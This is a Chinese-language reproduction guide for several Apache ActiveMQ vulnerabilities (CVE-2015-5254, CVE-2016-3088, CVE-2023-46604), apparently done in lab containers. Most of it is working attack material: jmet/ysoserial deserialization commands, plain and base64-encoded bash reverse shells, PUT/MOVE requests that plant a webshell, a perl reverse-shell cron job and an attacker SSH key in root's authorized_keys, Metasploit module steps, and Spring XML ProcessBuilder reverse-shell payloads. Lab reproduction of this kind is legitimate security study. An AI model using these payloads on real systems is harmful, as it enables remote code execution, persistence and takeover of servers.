Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考:https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:
cd vulhub-master/activemq/CVE-2015-5254
docker-compose up -d
docker ps
docker-compose down
运行环境后,会建立61616和8161这两个端口。
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。
使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088
项目地址:https://github.com/zhzyker/vulmap
- 生成序列化的有效负载(可以使用 ysoserial)
- 作为一个消息,将有效负载发送到端口 61616
- 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。
通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。
# 下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
# 创建external目录
mkdir external
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616
/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
点击查看这条消息即可触发命令执行
点击一下
登录ActiveMQ容器环境docker exec -it [容器ID] bash
,查看命令已经执行成功,/tmp/sucess
文件已成功创建。
反弹shell到vps上
生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html
bash -i >& /dev/tcp/192.168.229.128/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
执行弹shell命令(这里记住ID号,后面会用到)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616
通过/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息,找到相关消息,点击它
点击之后,即可执行命令,反弹shell
**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围:Apache ActiveMQ <= 5.13.3
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考:https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:
cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d
docker ps
docker-compose down
Nuclei检测到了两个默认口令以及CVE-2016-3088
项目地址:https://github.com/zhzyker/vulmap
search CVE-2016-3088
exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 192.168.229.140
exploit
项目地址:https://github.com/YutuSec/ActiveMQ_Crack
我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。
前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。
默认的ActiveMQ账号密码均为admin
,首先访问http://your-ip:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
需要知道ActiveMQ的绝对路径
需要能登录admin或者api
这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
webshell...
此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。
利用MOVE,可以将木马文件移动到api或者admin
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
http://192.168.229.140:8161/api/s.jsp
需要设置一下请求头
找到了上传的马子
需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限
这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html
tar -zxvf apache-activemq-5.7.0-bin.tar.gz
cd apache-activemq-5.7.0/bin/
./activemq start
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n
,不能是\r\n
,否则crontab执行会失败):
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
将其移动到/etc/cron.d/root
:
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
如果上述两个请求都返回204了,说明写入成功。等待反弹shell
【不知道为什么,反弹失败】
这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html
需要运行ActiveMQ的用户有root权限
需要服务器开启了ssh服务,并且攻击机可以连接
tar -zxvf apache-activemq-5.7.0-bin.tar.gz
cd apache-activemq-5.7.0/bin/
./activemq start
服务器端口:22、8161和61616端口可达
上传我们的 ssh 公钥,从而实现 SSH 方式登录
ssh-keygen -t rsa
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 562
ssh-rsa[SSH公钥]
移动到/root/.ssh/
并重命名为authorized_keys
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.229.141:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围:5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考:https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建:使用在线靶场https://vulfocus.cn/
使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。
此处,靶场对外映射的端口是25303
**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围:
5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
Apache ActiveMQ<5.15.16
5.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.3
5.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.16
5.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.7
5.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考:https://blog.csdn.net/qq_41904294/article/details/134066087
**环境搭建:**下载地址:https://activemq.apache.org/download-archives.html
tar -zxvf ./apache-activemq-5.18.1-bin.tar.gz
cd apache-activemq-5.18.1/bin/
./activemq start
./activemq stop
默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf
文件夹,找到jetty.xml
,修改为0.0.0.0后重启ActiveMQ即可。
登录系统,系统版本是有漏洞的。
Nuclei是有相关POC的,但是没有扫描出来
仅支持windows的payload,因此无法针对linux系统反弹shell
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
show payloads
项目地址:https://github.com/sule01u/CVE-2023-46604
反弹shell的xml文件:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
反弹shell的xml文件:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087
项目地址:https://github.com/trganda/ActiveMQ-RCE
直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了
确认关闭了防火墙
漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg
启动环境
Nuclei是有相关POC的,但是没有扫描出来
search CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 192.168.229.141
exploit
set SRVPORT 8081
exploit